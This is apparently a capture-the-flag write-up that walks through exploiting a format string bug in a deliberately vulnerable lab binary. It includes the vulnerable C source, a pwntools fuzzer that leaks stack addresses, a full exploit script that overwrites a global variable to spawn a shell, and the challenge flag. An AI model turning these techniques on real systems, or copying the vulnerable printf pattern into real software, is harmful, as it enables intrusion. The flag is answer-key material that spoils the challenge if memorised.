Overview
This is an easy level challenge introducing Format String Vulnerability. The method used to solve this challenge is leaking any function address and find the base address for the system. With the known base address, we can overwrite a global variable into wanted value.
Initial Analysis
File Analysis
Checking File type
file fsb_overwrite
fsb_overwrite: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ecbb8000934a34b30ea8deb3a7675e08f8a44cda, for GNU/Linux 3.2.0, not stripped
File type analysis
- The file has an x86-64 architecture
- It is a dynamically-linked binary (uses libc functions)
- It is not stripped, means we can see the variable and function names ### Checking file security
$ checksec --file fsb_overwrite
[*] '/home/gnapac/Desktop/CTF/dreamHack/format_string_bug/fsb_overwrite'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
File Security analysis
- It has NX and PIE protection, but no stack canary.
Code Analysis
Full Code
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
if (i == -1) {
perror("read");
exit(1);
}
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
int changeme;
int main() {
char buf[0x20];
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
Program Process
- The program has a
get_string()
function where it receives- variable to store
- size to read
- The program ask for an input with length of
0x20
- Print out the input given
- Checking if the
Attack Methodology
This is the part of the code that causes format string vulnerability. This is the section to leak any function address and overwrite global variable changeme
into value 1337
.
Crafting payload process
- Leak any function address
- Get the base address of the program. Leaked address - leaked function offset
- Get the address of
changeme
- Get the i-th argument on stack that reads the input
- Write
1337
intochangeme
Leaking main
address
To leak the main address, load the program in gdb and begin analysis. First, set a breakpoint at start of main
and during the comparison of changeme
and 1337
Next of we run the program, and check the stack for addresses that we can get.
Here we can see that main
address is located near the stack.
To leak the stack, create a fuzzer and try to locate the i-th argument on the stack to leak it .
But before that, we need to know the offset of the function main in the program, this is for the ease of process in eyeballing the main address
Now we can use a fuzzer to leak the main address. The fuzzer below will
iterate 99 times, testing format string payloads from
1
to99
.p.sendline('%{}$p'.format(i).encode())
: This sends a format string payload to the binary. The payload %{}$p will attempt to read the i-th argument on the stack as a pointer and print it in hexadecimal format.result = p.recvline()
: This receives a line of output from the binary.
fuzzer.py
from pwn import *
import os
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF('./fsb_overwrite', checksec=False)
# Let's fuzz 100 values
for i in range(1,100):
try:
p = process(level='error')
p.sendline('%{}$p'.format(i).encode())
result = p.recvline()
print(str(i) + ': ' + str(result))
p.close()
except ValueError:
pass
Output:
From the output, the number 15
successfully leaked the main address output. Next we need the offset for changeme
variable to calculate it exact address.
Lastly, time to know which argument on the stack that reads our input. This also can be seen in the fuzzer output. The hex for symbol %
$
p
is 25, 24 and 70 respectively. We can see these hex at 6-th argument.
All information needed is there, now time to craft the payload.
- Send an input
%15$p
to leakmain
address
io.sendline('%15$p')
- Receive the input
main_address = int(io.recvline(),16)
- Calculate the base address
main_offset = elf.sym['main']
base_addr = main_address - main_offset
- Calculate the address of
changeme
change_me = base_addr + 0x401c #offset of changeme variable
- Using pwntools built in function
fmtstr_payload
as our final payload. (Note: 6 is the i-th argument that reads the input)
payload = fmtstr_payload(6, {change_me : 1337})
Payload Execution
Local
Remote
DH{b283dec57b17112a4e9aa6d5499c0f28}
Full Script
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
b vuln
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './fsb_overwrite'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
offsets = 35
main_offset = elf.sym['main']
io.sendline('%15$p')
main_address = int(io.recvline(),16)
log.info(hex(main_address))
log.info(hex(main_offset))
base_addr = main_address - main_offset
change_me = base_addr + 0x401c
log.info(hex(change_me))
payload = fmtstr_payload(6, {change_me : 1337})
io.sendline(payload)
# print(len(payload))
io.interactive()